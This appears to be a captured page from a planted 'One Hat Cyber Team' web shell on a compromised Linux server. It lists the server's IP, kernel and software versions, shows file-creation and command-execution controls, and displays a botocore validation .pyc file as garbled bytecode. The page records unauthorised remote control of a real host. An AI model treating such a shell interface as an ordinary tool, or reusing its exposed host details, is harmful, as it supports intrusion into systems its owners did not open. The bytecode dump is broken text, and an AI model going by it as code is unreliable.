⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
validate.cpython-312.pyc
Pe5 d Z ddlZddlZddlmZ ddlmZ ddlmZmZ d Z d Z d Z G d d Z G d d Z G d d Zy)aQ User input parameter validation. This module handles user input parameter validation against a provided input model. Note that the objects in this module do *not* mutate any arguments. No type version happens here. It is up to another layer to properly convert arguments to any required types. Validation Errors ----------------- N)datetime)ParamValidationError)is_json_value_headerparse_to_aware_datetimec t }|j | | }|j rt |j y)av Validates input parameters against a schema. This is a convenience function that validates parameters against a schema. You can also instantiate and use the ParamValidator class directly if you want more control. If there are any validation errors then a ParamValidationError will be raised. If there are no validation errors than no exception is raised and a value of None is returned. :param params: The user provided input parameters. :type shape: botocore.model.Shape :param shape: The schema which the input parameters should adhere to. :raise: ParamValidationError reportN)ParamValidatorvalidate has_errorsr generate_report)paramsshape validatorr s 3/usr/lib/python3/dist-packages/botocore/validate.pyvalidate_parametersr sC ( I .F "&*@*@*BCC c fd}|S )Nc " fd}fd|S )Nc 2 ||| r | |||| S y N )selfparamr errorsname_type_checkfuncs r _on_passes_type_checkzKtype_check.
._create_type_check_guard.
._on_passes_type_check4 s' 5&$/D%== 0r c t | s.D cg c] }t | }}|j |d| | yyc c}w )Ninvalid typer valid_typesFT) isinstancestrr )r r r tvalid_type_namesr# s r r zAtype_check.
._create_type_check_guard.
._type_check8 sQ e[14?#@KqCFK #@ " 0 $As =r )r r r r# s ` @r _create_type_check_guardz,type_check.
._create_type_check_guard3 s > %$r r )r# r( s ` r type_checkr) 2 s %&